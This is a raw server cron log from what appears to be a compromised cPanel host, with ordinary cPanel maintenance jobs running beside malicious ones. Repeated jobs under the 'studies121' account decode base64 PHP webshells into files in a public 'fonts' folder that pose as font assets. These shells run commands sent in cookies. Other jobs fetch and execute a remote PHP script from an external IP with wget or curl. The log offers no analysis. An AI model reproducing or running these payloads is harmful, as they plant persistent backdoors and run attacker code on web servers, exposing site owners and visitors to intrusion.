Sep  5 12:24:01 ip-184-168-122-23 CROND[15618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:24:01 ip-184-168-122-23 CROND[15616]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:24:01 ip-184-168-122-23 CROND[15617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:24:01 ip-184-168-122-23 CROND[15619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:25:01 ip-184-168-122-23 CROND[15804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:25:02 ip-184-168-122-23 CROND[15806]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:25:02 ip-184-168-122-23 CROND[15807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:25:02 ip-184-168-122-23 CROND[15811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:25:02 ip-184-168-122-23 CROND[15808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:25:02 ip-184-168-122-23 CROND[15809]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 12:25:02 ip-184-168-122-23 CROND[15810]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:26:01 ip-184-168-122-23 CROND[15966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:26:01 ip-184-168-122-23 CROND[15968]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:26:01 ip-184-168-122-23 CROND[15969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:26:01 ip-184-168-122-23 CROND[15972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:26:01 ip-184-168-122-23 CROND[15970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:27:01 ip-184-168-122-23 CROND[16103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:27:01 ip-184-168-122-23 CROND[16105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:27:01 ip-184-168-122-23 CROND[16107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:27:01 ip-184-168-122-23 CROND[16106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:28:01 ip-184-168-122-23 CROND[16214]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:28:01 ip-184-168-122-23 CROND[16216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:28:01 ip-184-168-122-23 CROND[16217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:28:01 ip-184-168-122-23 CROND[16218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:28:01 ip-184-168-122-23 CROND[16219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:29:01 ip-184-168-122-23 CROND[16458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:29:01 ip-184-168-122-23 CROND[16457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:29:01 ip-184-168-122-23 CROND[16456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:29:01 ip-184-168-122-23 CROND[16459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:30:01 ip-184-168-122-23 CROND[16630]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:30:01 ip-184-168-122-23 CROND[16632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:30:01 ip-184-168-122-23 CROND[16631]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 12:30:01 ip-184-168-122-23 CROND[16636]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:30:01 ip-184-168-122-23 CROND[16634]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  5 12:30:01 ip-184-168-122-23 CROND[16638]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:30:01 ip-184-168-122-23 CROND[16635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:30:01 ip-184-168-122-23 CROND[16640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:30:01 ip-184-168-122-23 CROND[16641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:31:01 ip-184-168-122-23 CROND[16838]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:31:01 ip-184-168-122-23 CROND[16839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:31:01 ip-184-168-122-23 CROND[16841]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 12:31:01 ip-184-168-122-23 CROND[16840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:31:01 ip-184-168-122-23 CROND[16843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:32:01 ip-184-168-122-23 CROND[17001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:32:01 ip-184-168-122-23 CROND[17002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:32:01 ip-184-168-122-23 CROND[17004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:32:01 ip-184-168-122-23 CROND[17003]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:32:01 ip-184-168-122-23 CROND[17006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:33:01 ip-184-168-122-23 CROND[17172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:33:01 ip-184-168-122-23 CROND[17173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:33:01 ip-184-168-122-23 CROND[17174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:33:01 ip-184-168-122-23 CROND[17175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:34:01 ip-184-168-122-23 CROND[17314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:34:01 ip-184-168-122-23 CROND[17315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:34:01 ip-184-168-122-23 CROND[17317]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:34:01 ip-184-168-122-23 CROND[17318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:34:01 ip-184-168-122-23 CROND[17316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:35:01 ip-184-168-122-23 CROND[17542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:35:01 ip-184-168-122-23 CROND[17543]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:35:01 ip-184-168-122-23 CROND[17544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:35:01 ip-184-168-122-23 CROND[17545]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:35:01 ip-184-168-122-23 CROND[17547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:35:01 ip-184-168-122-23 CROND[17551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:35:01 ip-184-168-122-23 CROND[17548]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 12:35:01 ip-184-168-122-23 CROND[17550]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
